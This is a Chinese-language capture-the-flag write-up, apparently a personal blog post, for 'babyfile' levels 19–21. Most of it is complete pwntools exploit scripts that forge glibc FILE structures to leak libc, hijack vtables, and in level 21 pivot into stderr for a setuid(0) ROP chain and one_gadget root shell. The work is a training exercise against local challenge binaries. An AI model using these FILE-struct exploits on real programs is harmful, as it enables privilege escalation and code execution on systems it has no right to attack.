所以这题的耗时大概是 30s,这 30s 是我和 IDA 姐姐谈心的时间(bushi
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level19"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def write_file(idx): target.sendlineafter(b"> ", b"write_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def open_flag(): target.sendlineafter(b"> ", b"open_flag")
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
open_file()
fp = FileStructure() fp.write(elf.bss(), 0x150) payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10) write_file(0)
target.recvlines(4) libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x140) fp_ptr = int.from_bytes(target.recv(0x8), "little")
target.success(f"libc: {hex(libc)}") target.success(f"fp: {hex(fp_ptr)}")
fp = FileStructure() fp._lock = fp_ptr fp._wide_data = fp_ptr fp.vtable = __GI__IO_wfile_overflow fp.chain = elf.sym["win"] payload = flat( bytes(fp), fp_ptr, )
write_fp(payload)
new_note(0, 0x100) raw_input("DEBUG") write_file(0) quit()
target.interactive()
if __name__ == "__main__": main()Level 20
Information
- Category: Pwn
Description
Apply various FILE struct exploits to obtain a leak, then hijack hijack control flow.
Write-up
别告诉我我打了两道非预期 o_O
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level20"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def write_file(idx): target.sendlineafter(b"> ", b"write_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def open_flag(): target.sendlineafter(b"> ", b"open_flag")
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
open_file()
fp = FileStructure() fp.write(elf.bss(), 0x270) payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10) raw_input("DEBUG") write_file(0)
target.recvlines(4) libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x260) fp_ptr = int.from_bytes(target.recv(0x8), "little")
target.success(f"libc: {hex(libc)}") target.success(f"fp: {hex(fp_ptr)}")
fp = FileStructure() fp._lock = fp_ptr fp._wide_data = fp_ptr fp.vtable = __GI__IO_wfile_overflow fp.chain = elf.sym["win"] payload = flat( bytes(fp), fp_ptr, )
write_fp(payload)
new_note(0, 0x100) raw_input("DEBUG") write_file(0) quit()
target.interactive()
if __name__ == "__main__": main()Level 21
Information
- Category: Pwn
Description
Apply FILE struct exploits to obtain the flag.
Write-up
这才是真正的 FSOP。程序正常返回,或 abort 或 exit 后都会调用 _IO_flush_all_lockp,它会刷新 _IO_list_all 中的每一个结构体,调用其 vatble 指向的函数。这道题只会刷新 stderr(因为程序关闭了 stdout 和 stdin),然后调用 stderr 的 vtable 指向的函数,老样子,让 vtable 去执行 __GI__IO_wfile_overflow,然后它调用 _IO_wdoallocbuf,之后这个东西又去调用 stderr 的 _wide_data 加上某个偏移处的内容。所以我们可以直接让其调用 one_gadget,可是真的那么简单吗?
注意这题是有 SUID 的,直接调用 one_gadget 可以拿到 shell 但是不能 cat /flag,所以我们需要一个 ROP Chain 先执行 setuid(0) 然后再去执行 one_gadget。这是这题的另一处难点,因为正常只能返回到某条指令,我们控制不了后续执行的内容以及栈内容。我的解决方案是 stack pivot 到 stderr,充分利用这个结构体构造 ROP Chain,之后就能发现这题设计的真的非常巧妙,不管是多一个还是少一个字节都不行 orz
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level21"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b" is: ") libc.address = int(target.recvline().strip(), 16) - 0x84420 __GI__IO_wfile_overflow = libc.address + 0x1E8DE0 stderr = libc.sym["_IO_2_1_stderr_"]
target.success(f"libc: {hex(libc.address)}") target.success(f"stderr: {hex(stderr)}")
one_gadget = libc.address + 0xE3B01 pop_rdi_ret = libc.address + 0x128B8D leave_ret = libc.address + 0x578C8
fp = FileStructure() fp._IO_read_ptr = pop_rdi_ret fp._IO_read_end = 0 fp._IO_read_base = libc.sym["setuid"] fp._IO_write_ptr = one_gadget + 1 fp._IO_write_base = one_gadget fp._lock = stderr + 0x10 fp._wide_data = stderr - 0x48 fp._codecvt = stderr fp.vtable = __GI__IO_wfile_overflow fp.chain = leave_ret
raw_input("DEBUG") target.send(bytes(fp))
target.interactive()
if __name__ == "__main__": main()后记
紧赶慢赶从月垫底杀到第三,完结撒花。一共耗时……15 天 xD

其实可以控制在七天以内解决,只是因为最近实在太懒了,基本上前期都是一天只做一道题,不管是难题还是简单题……
接下来应该还有最后一个比较综合的 FSOP 利用章节,打算一周解决,然后去稍稍学点 kernel,专攻 IoT,打比赛,准备面试。呀,2 AM 了。就酱,晚安世界~